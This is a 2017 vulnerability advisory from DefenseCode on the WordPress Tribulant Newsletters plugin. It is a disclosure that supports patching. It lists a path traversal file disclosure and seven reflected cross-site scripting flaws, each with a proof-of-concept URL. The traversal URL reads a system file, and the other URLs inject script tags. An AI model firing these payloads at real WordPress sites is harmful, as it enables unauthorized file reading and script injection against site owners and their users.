DefenseCode WebScanner DAST Advisory
           WordPress Tribulant Newsletters Plugin
             Multiple Security Vulnerabilities


Advisory ID:            DC-2017-01-012
Advisory Title:         WordPress Tribulant Newsletters Plugin
 Multiple Vulnerabilities
Advisory URL:           http://www.defensecode.com/advisories.php
Software:               WordPress Tribulant Newsletters Plugin
Language:               PHP
Version:                4.6.4.2 and below
Vendor Status:          Vendor contacted, update released
Release Date:           2017/05/29
Risk:                   Medium



1. General Overview
===================
During the security audit of Tribulant Newsletters plugin for
WordPress CMS, multiple vulnerabilities were discovered using
DefenseCode WebScanner application security analysis platform.

More information about WebScanner is available at URL:
http://www.defensecode.com


2. Software Overview
====================
According to the authors, WordPress Tribulant Newsletters plugin is a
full-featured newsletter plugin for WordPress which fulfils all
subscribers, emails, marketing and newsletter related needs for both
personal and business environments.

According to wordpress.org, it has more than 9,000 active installs.

Homepage:
https://wordpress.org/plugins/newsletters-lite/
http://tribulant.com/plugins/view/1/wordpress-newsletter-plugin


3. Vulnerability Description
==================================
During the security analysis, WebScanner discovered File Disclosure
vulnerability and multiple Cross Site Scripting vulnerabilities in
Tribulant Newsletters plugin.

3.1 File Disclosure
----
Input:          $_GET['file']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlmethod=exportdownload&file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cWINDOWS%5cwin.ini

3.2 Cross-Site Scripting
----
Input:          $_GET['method']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=check-expired%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.3 Cross-Site Scripting
----
Input:          $_GET['id']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
Note:           Subscriber id (parameter "id") must exist. Value 1 is
 a good guess for start ;)

3.4 Cross-Site Scripting
----
Input:          $_GET['id']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-lists&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.5 Cross-Site Scripting
----
Input:          $_GET['value']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin-ajax.php?action=newsletters_gauge&value=1});alert(1);</script>

3.6 Cross-Site Scripting
----
Input:          $_GET['order']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&orderby=theme_id&order=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

3.7 Cross-Site Scripting
----
Input:          $_GET['wpmlsearchterm']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-history&wpmlsearchterm=x%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E

3.8 Cross-Site Scripting
----
Input:          $_GET['wpmlmessage']
Vulnerable URL:
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&wpmlupdated=true&wpmlmessage=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
 

4. Solution
===========
Vendor resolved the security issues after we reported the
vulnerabilities. All users are strongly advised to update WordPress
Tribulant Newsletters plugin to the latest available version.


5. Credits
==========
Discovered with DefenseCode WebScanner security analyzer
by Neven Biruski.

 
6. Disclosure Timeline
======================
2017/04/04      Vendor contacted
2017/04/06      Vendor responded, update released
2017/05/29      Advisory released to the public


7. About DefenseCode
====================
DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security
vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security
Testing, WhiteBox Testing) solution for performing extensive security
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DefenseCode WebScanner is a DAST (Dynamic Application Security
Testing, BlackBox Testing) solution for comprehensive security audits
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